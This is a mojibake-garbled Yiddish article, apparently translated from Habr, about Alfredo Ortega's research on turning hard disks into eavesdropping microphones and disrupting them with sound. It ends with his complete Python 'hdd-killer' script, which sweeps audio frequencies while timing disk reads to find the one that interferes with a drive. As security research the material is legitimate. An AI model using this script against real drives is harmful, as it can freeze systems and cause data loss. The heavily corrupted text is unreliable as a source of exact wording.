ืืื ืื ืขืงืึธืคึผืื 2017 ืงืึธืืคึผืืืืขืจ ืืืืขืจืืืื ืืืฆืื ื ืืื ืืืขื ืึธืก ืืืืจืขืก, ืื ืึทืจืืขื ืืื ืข ืืขืงืขืจ Alfredo Ortega ืืื ืืขืืืืื ืึท ืืืืขืจ ืืฉืืงืึทืืืข ืึทื ืืืืืงืืื ื - ืึท ืกืืกืืขื ืคึฟืึทืจ ืืขืืืื ืืืืืจืืึทืคึผืื ื ืคืื ืืึธืงืึทื ืึธื ื ืืฆื ืึท ืืืงืจืึธืคืึธื. ืงืืึทื ื
ืื ืืื ืืขืจ ืืืืคึผื ืคึผืืงืก ืึทืจืืืฃ ืืืื-ืื ืืขื ืกืืื ื ืืืขืจืืง-ืึธืคืืงืืึทื ืกืึธืื ืืก, ืคืืฆืืขืคึผืก ืืื ืื ืืขืจืข ืืืืืืจืืืฉืึทื ื. ืืขื ืืฉืืขืืข ืจืืื ืงืขื ืขื ื ืึธื ื ืืฉื ืืขืจืงืขื ืขื, ืืึธืืฉ ืกืืืึทื ืืืก
ืืขืืื ื ืืื ืื ืืืืืืจืืืฉืึทื ืคืื ืืืคื ืึธืืขืจ ืื ืื ืืขืจ ืืืื. ื ืืขื ืืฉ ืืืืขืจืงื ืืื ืืืจื ืื ืขืึทืจืืจืื, ืืืึธืก ืืจืึทื ืกืืืื ืืืืืืจืืืฉืึทื ื ืฆื ืื ืื ืขืจ ืืืืขืจ. ืืขืจ ืืืงืจืึธืคืึธื ืืื ืืืืืื ื ืืขืขืจืขื ืืื ืึทื ืืืืขืจ - ืืืื ืืึธ, ืืืืืืจืืืฉืึทื ื ืืขื ืขื ืจืขืงืึธืจืืขื ืืืจื ืึท ืืื ืืขืืืจืึทื ืข, ืืืึธืก ืืงืกืืืฅ ืึทื ืขืืขืงืืจืืงืึทื ืฉืืืคึผ. ืืขืจ ืฉืืืขืจ ืคืึธืจ, ืคืื ืงืืจืก, ืืื ืืืื ืืื ืืขืจืืขื ืืง ืฆื ืืืงืจืึธืกืงืึธืคึผืืง ืืืืืืจืืืฉืึทื ื ืจืขืื ืฆื ืคืืึทืงืืฉืืืืฉืึทื ื ืืื ืื ืึทืจืืืืง ืืืคื. ืืึธืก ืืื ืืืงืื ื ืืคืืื ืคึฟืื ืื ืืขืื ืืฉ ืืฉืึทืจืึทืงืืขืจืืกืืืงืก ืคืื ืืื: ืืึทื ืืึทืคืึทืงืืฉืขืจืขืจื ืืืืฉืึทืืืึทืื ืึธื ืืืืึทืื ืื ืืึทืงืกืืืื ืงืึธืฉืขืจ ืืืืืืจืืืฉืึทื ืืืจืื, ืืื ืื ืฉืืืขืจ ืคืึธืจ ืืื ืึธืคื ืคืจืืืื ืฆื ืฉืืขืื ืขืก ืืื ืึท ืืืืืืจืืืฉืึทื-ืืขืจืืืืึทื ืงืึทื ืืืื ืขืจ ืืขืืืื ืคืื ืืืืข ืึธืืขืจ ืื ืืขืจืข ืื ืกืึทืืืืืื ื ืืึทืืขืจืืึทื. ืคืื ืืขื ืขืก ืืื ืืจืื ื ืฆื ืคืึทืจืขื ืืืงื ืึทื ืกืึธืื ืืก ืงืขื ืขื ืืืื ืจืขืงืึธืจืืขื ืืื ืืื. ืึทืืข ืืืึธืก ืืืืืื ืืื ืฆื ืจืขืืขื ืขื ืืืืก ืืื.
Alfredo Ortega ืคืืจืืขืืืืื ืึท ืืื ืฆืืง ืืืขืจืกืืข ืคืื โโโโืึท ืืืึทื-ืงืึทื ืึทื ืืึทืคืึทืื, ื ืืืืื ืึท ืฆืืื ืืึทืคืึทืื. ืืขื ืืึทืคืึทืื ืืื ืืืืืจื ืืืืฃ ืื ืืึทืฉืึธืจืข ืึทื ืคืึทืจืฉืืืขื ืข ืึทืคึผืขืจืืืฉืึทื ื ืืขื ืขื ืืขืืื ืืืืฃ ืื ืืืื ืืื ืคืึทืจืฉืืืขื ืข ืฆืืื, ืืืคึผืขื ืืื ื ืืืืฃ ืื ืึทืจืืึทื ืฉืจืืึทื ืืึทืื. ืืื ืืขื ืคืึทื, ืื "ืื ืคึผืื ืืึทืื" ืืื ืื ืืืืืืจืืืฉืึทื ื ืคืื ืื ืืืืขื ืขื ืงืึธืคึผ ืืื ืื ืืื ืืึทืฅ, ืืืึธืก ืงืึธืจืึทืืืื ืืื ืื ืืืืืืจืืืฉืึทื ื ืคืื ืื ืกืืืืืืข, ืืึธืก ืืื, ืืื ืืขืืื ื. ืืืื, ืืืจื ืืขืกืื ืื ืงืึทืืคึผืืึทืืืืฉืึทื ืฆืืื ืืื ืืืจืืคืืจื ืกืืึทืืืกืืืฉ ืึทื ืึทืืืกืืก ืคืื ืื ืืึทืื, ืื ืืืืืืจืืืฉืึทื ื ืคืื ืื ืงืึธืคึผ / ืืึทืฅ ืืื ืืขืจืคืืจ ืื ืืืืืืจืืืฉืึทื ื ืคืื ืื ืืืื ืงืขื ืขื ืืืื ืืขืืืกืื. ืื ืืขืจ ืื ืคืึทืจืืึทืืื ืืื ืืืืขื ืขื ืืึทืื, ืื ืฉืืืจืงืขืจ ืื ืืื ืืืืืืจืืืฉืึทื ื ืืื, ืืขืจืืืขืจ, ืื ืืึทืืืขืจ ืื ืืขืืื ื.
ืืื ืฆื ืืขืกืื ืื ืืืืืืจืืืฉืึทื ืคืื ืื ืฉืืืขืจ ืคืึธืจ? ืืืืขืจ ืคึผืฉืื: ื ืึธืจ ืืืืคื ืื ืกืืกืืขื ืจืืคื read ()
- ืืื ืจืขืงืึธืจืืืจื ืื ืฆืืื ืขืก ื ืขืื ืฆื ืคืึทืจืขื ืืืงื. ืืึธืืขืจื ืึธืคึผืขืจืืืืื ื ืกืืกืืขืืขื ืืึธืื ืืืจ ืฆื ืืืืขื ืขื ืื ืืืืืื ื ืคืื ืกืืกืืขื ืงืึทืืืก ืืื ื ืึทื ืึธืกืขืงืึธื ื ืึทืงืืขืจืึทืกื.
ืื ืืืืงืืึทื ืคืื ืืืืขื ืขื ืืื ืคึฟืึธืจืืึทืฆืืข ืคืื โโืึท ืกืขืงืืึธืจ ืืขืคึผืขื ืืก ืืืืฃ ืื ืฉืืขืืข ืคืื โโืื ืงืึธืคึผ ืืื ืืึทืฅ, ืืืึธืก ืงืึธืจืึทืืืืฅ ืืื ืืืืืืจืืืฉืึทื ื ืคืื ืื ืืื ืคืึทื. ืึทื ืก ืึทืืข.
ืกืืึทืืืกืืืฉ ืึทื ืึทืืืกืืก ืืื ืืืจืืืขืงืึธืื ืืื ืึท ืคึผืฉืื Kscope ื ืืฆื. ืืื ืืื ืืึธืื, ืึทืืฅ ืื ืืืฉืื ืืึทืก ืืื ืคึผืฉืื.
ืงืกืงืึธืคึผืข ื ืืฆื (ืกืืึทื () ืกืืกืงืึทืื)
Kscope ืืื ืึท ืงืืืื ื ืืฆื ืคึฟืึทืจ ืืืืืฉืืืึทืืืืืื ื ืงืืืื ืืฉืืง ืืืคืขืจืึทื ืกืื ืืื ืืืจืืคืืจืื ื ืฆืืื ืคืื ืกืืกืืขื ืจืืคื. ืืงืืจ
ืืื ืึท ืืึทืืื ืืขืจ ืจืืคึผืึทืืึทืืึธืจื read ()
.
ืืขืืึทื ืกืืจืืืฉืึทื ืคืื ืืขืืื ื ืจืขืงืึธืจืืื ื ื ืืฆื ืืื, ืึธืคึผืขืจืึทืฆืืข ืคืื โโโโืื Kscope ื ืืฆื
ืคืื ืงืืจืก, ืจืืื ืงืขื ืขื ื ืื ืืืื ืคืืจืฉืืื ืขื ืืื ืืขื ืืืขื, ืึธืืขืจ ืื ืืื ืืื ืืึทื ืฅ ืคึผืึทืกืืง ืืื ืึท ืืืืืืจืืืฉืึทื ืกืขื ืกืขืจ. ืคึฟืึทืจ ืืืึทืฉืคึผืื, ืืืจ ืงืขื ืขื ืคืึทืจืฉืจืืึทืื ืืืื ืึท ืืขื ืืฉ ืืืึธืก ืืจืึธืื ืฉืืืขืจ ืฉืืืืขื ืึธืืขืจ ืืึธืจืืืขืก ืืื ืืจืืื ืืื ืึท ืคึผืืึทืฅ ืืื ืึท ืงืึธืืคึผืืืืขืจ (ืืืกืืึธืืข, ืืืื ืืขืจ ืึทืืึทืงืขืจ ืืื ืืืขืจืื ื ืืืืื ืืืืขืฉืื ืึธืืขืจ ืขืก ืืื ืึท ืืืง ืืขืคึผืขื ืืืืฃ ืื ืฉืืึธืง, ืื ืืื ืืืขื ื ืืฉื ืงืขื ืขื ืฆื ืคืึทืจืฉืจืืึทืื ืืืืืืจืืืฉืึทื ื - ืืึธืก ืืื ืืืขืจื ืฆื ืงืึธื ืืจืึธืืืจื). ืืขืจ ืงืึธืืคึผืืืืขืจ ืืื ืืืืืืช ืฆื ืคืึทืจืฉืจืืึทืื ืฆืขืืจืืื ืืืื ืึธืืขืจ ืื ืืขืจืข ืื ืกืึทืืึทื ืฅ ืืื ืฉืืึทืจืง ืืขืืื ื ืื ืืขื ืกืืื. ืึทื ืืื, ืื ืฉืืืขืจ ืคืึธืจ ืงืขื ืขื ืืื ืขื ืืื ืึท ืืื ืคืื ืึทื ืึธืืขืจืืืื ืื ืืจืืืฉืึทื ืืืืขืงืฉืึทื ืกืืกืืขื.
ืืื ืงืืืืขืจ
ืืืจื ืืขื ืืืขื, ืึท ืขื ืืขื ืืขืื ืืง ืงืขื ืขื ืืืื ืืขืืืืื ื ืฆื ืืืกืืืืึทื ืฉืืืขืจ ืืจืืืืื. ืืืืื ืืึธ ืืืจ ืืึธื ื ืื ืืึทืืืึทืืืงื ืึทืกืึทืืืืฉืึทื ื ืคืื ืื ืืื, ืึธืืขืจ ืืืืฃ ืื ืคืึทืจืงืขืจื, ืืืจ ืืืฉืขื ืขืจืืื ืึทืกืึทืืืืฉืึทื ื ืืืึธืก ืืขื ืขื ืคืืกืืขืืขืจ ืฆื ืื ืืื. ืืืื ืืืจ ืฉืคึผืืื ืืขืืื ื ืคืื ืึท ืจืขืื ืขืจ ืืื ืึท ืึธืคืืงืืึทื ืืืึธืก ืจืขืืึทื ืืืฅ ืืื ืื ืืื ืึธืคืืงืืึทื, ืื ืกืืกืืขื ืงืขืจ ืึทืืืขืง ืื ืืืื ืืึทืื ืืื ืึท I/O ืืขืืช (ืื ืืื ืืงืก ืงืขืจื ืงืขืจื ืืึธืจ ืึทืืืขืง ืื ืืื ื ืึธื 120 ืกืขืงืื ืืขืก). ืืขืจ ืฉืืืขืจ ืคืึธืจ ืืื ืงืขื ืืืึทืื ืืจืืืืขืจืกืึทืืึทื ืฉืขืืืงื.
ืื ืืื ืืงืก ืงืขืจื ืืืืกืืขืืขืงื ืื ืฉืืืขืจ ืคืึธืจ ื ืึธื 120 ืกืขืงืื ืืขืก ืคืื ืืืืืืืขืจืื ื ืืขืืื ื ืืื ืึท ืจืขืืึทื ืึทื ื ืึธืคืืงืืึทื ืืืจื ืื ืจืขืื ืขืจ ืคืื ืื Edifier r19u ืืกื ืจืขืื ืขืจ. ืืขืจ ืจืขืื ืขืจ ืืื ืืืืกืืขืืจืืื ืืืืฃ ืืืขืื ืึท ืคืขืจืื ืคืื ืื ืืึทืื (ืืืืื ืืงืขืจ ืืื 100 ืืื) ืืื ืืื ืืืื 20 ืกืขื ืืืืขืืขืจ ืคืื ืื ืืื, ืึทืืืขื ืืืึท ืื ืืืฉ ืฆื ืคืึทืจืืขืกืขืจื ืืืืืืจืืืฉืึทื ื. ืจืึทื ืคืื
ืขืก ืืื ืืฉืืงืึทืืืข ืึทื ืึทืืึท "ืึทืืึทืงืก" ืืืืฃ ืืื ืก ืืื ืคืึทืื ืืึธืจ ืืืจื ืฆืืคืึทื ืืื ืืืึธืืขืืืง ืืขืื. ืคึฟืึทืจ ืืืึทืฉืคึผืื, ืืื ืกืขืคืืขืืืขืจ 2016, ืื ING ืืึทื ืง ืืึทืื ืฆืขื ืืขืจ ืืื ืืขืืืขื ืืขืฆืืืื ืืขื ืฆื ืืคืืขื ืืขื ืึทืคึผืขืจืืืฉืึทื ื ืคึฟืึทืจ 10 ืฉืขื ื ืึธื ืึท ืคืืึทืขืจ ืืืืขืจ.
ืืขืืึทื ืกืืจืืืฉืึทื ืคืื ืืขื ืืฉ ืกืงืจืืืื ื ืืืืฃ ืฉืืืขืจ ืืจืืืืื ืืื ืึท ืืึทืื ืฆืขื ืืขืจ. ืืืืืึทื ืก ืืขืืฉืขืจืืึทื ื
ืฆื ืืืฉืขื ืขืจืืื ืื ืจืขืืึทื ืืืืื ื ืืขืืื ื, Alfredo Ortega ืืขืฉืจืืื ืึท ืคึผืืืืึธื ืฉืจืืคื ืืขืจืืคื
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()
ืืงืืจ: www.habr.com